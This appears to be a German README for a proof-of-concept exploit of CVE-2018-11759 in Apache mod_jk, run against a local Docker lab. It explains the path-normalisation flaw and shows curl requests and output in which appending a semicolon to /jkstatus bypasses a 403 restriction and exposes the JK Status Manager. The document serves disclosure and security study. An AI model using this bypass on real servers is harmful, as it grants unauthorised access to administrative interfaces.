
Proof-of-Concept-Exploit für CVE-2018-11759, der den Zugriffs-Bypass von Apache mod_jk über speziell gestaltete Anfragen demonstriert, um Reverse-Proxy-Einschränkungen zu umgehen.
Der für den Apache Web Server (httpd) spezifische Code, der den angeforderten Pfad normalisierte, bevor er mit der URI-Worker-Zuordnung im Apache Tomcat JK (mod_jk) Connector 1.2.0 bis 1.2.44 abgeglichen wurde, behandelte einige Grenzfälle nicht korrekt. Wenn nur eine Teilmenge der von Tomcat unterstützten URLs über httpd freigegeben wurde, war es möglich, dass eine speziell konstruierte Anfrage Anwendungsfunktionalität über den Reverse-Proxy offenlegte, die nicht für Clients gedacht war, die auf die Anwendung über den Reverse-Proxy zugriffen. In einigen Konfigurationen war es auch möglich, dass eine speziell konstruierte Anfrage die in httpd konfigurierten Zugriffskontrollen umging. Obwohl es einige Überschneidungen zwischen diesem Problem und CVE-2018-1323 gibt, sind sie nicht identisch.
Das folgende Proof of Concept zeigt, wie CVE-2018-11759 ausgenutzt werden kann, sowie dessen Auswirkungen auf das angestrebte Informationssystem.
docker-compose up -d
Seien Sie geduldig, der Vorgang kann beim ersten Mal recht lange dauern.
Sobald es läuft, ist der anfällige Proxy unter folgender Adresse erreichbar: http://localhost
Endpunkte, die mit einer mod_jk JkMount-Direktive bereitgestellt werden, wie z.B. die JK-Statusmanager-Schnittstelle (die die Verwaltung von AJP-Workern ermöglicht), können so konfiguriert werden, dass sie von externem Zugriff eingeschränkt sind.
curl "http://localhost/jkstatus"
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access /jkstatus
on this server.</p>
</body></html>
Diese Einschränkung kann umgangen werden, indem dem geschützten Endpunkt ein Semikolon hinzugefügt wird.
curl "http://localhost/jkstatus;"
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"><head><title>JK Status Manager</title></head>
<body>
<h1>JK Status Manager for localhost:8080</h1>
<table><tr><td>Server Version:</td><td>Apache/2.4.6 (CentOS) mod_jk/1.2.44</td><td> </td><td>Server Time:</td><td>2018-11-01 09:05:49 +0000</td></tr>
<tr><td>JK Version:</td><td>mod_jk/1.2.44</td><td></td><td>Unix Seconds:</td><td>1541063149</td></tr></table>
<hr/>
<table><tbody valign="baseline"><tr>
<td><form method="get" action="/jkstatus;">
<input type="submit" value="Start auto refresh"/>
(every <input name="re" type="text" size="3" value="10"/> seconds)</form>
</td><td> | </td>
<td>
<form method="get" action="/jkstatus;">
<input type="submit" value="Change format"/>
<select name="mime" size="1"><option value="xml">XML</option><option value="prop">Properties</option><option value="txt">Text</option></select></form>
</td>
</tr></tbody></table>
<table><tbody valign="baseline"><tr>
<td>
[<a href="https://github.com/immunit/cve-2018-11759/blob/master/jkstatus%3B?opt=32">Read Only</a>]
</td>
<td>
[<a href="https://github.com/immunit/cve-2018-11759/blob/master/jkstatus%3B?cmd=dump">Dump</a>]
</td>
<td>
[<b>S</b>=Show only this worker, <b>E</b>=Edit worker, <b>R</b>=Reset worker state, <b>T</b>=Try worker recovery]<br/>
</td>
...
Weitere Informationen in unserem Blogbeitrag
Dieses Problem wurde zuerst von Alphan YAVAS von Biznet Bilisim A.S. entdeckt und verantwortungsvoll an das Apache Tomcat Security Team gemeldet. Weitere Angriffsvektoren wurden von Raphaël Arrouas (Xel) und Jean Lejeune (Nitrax) von immunIT identifiziert.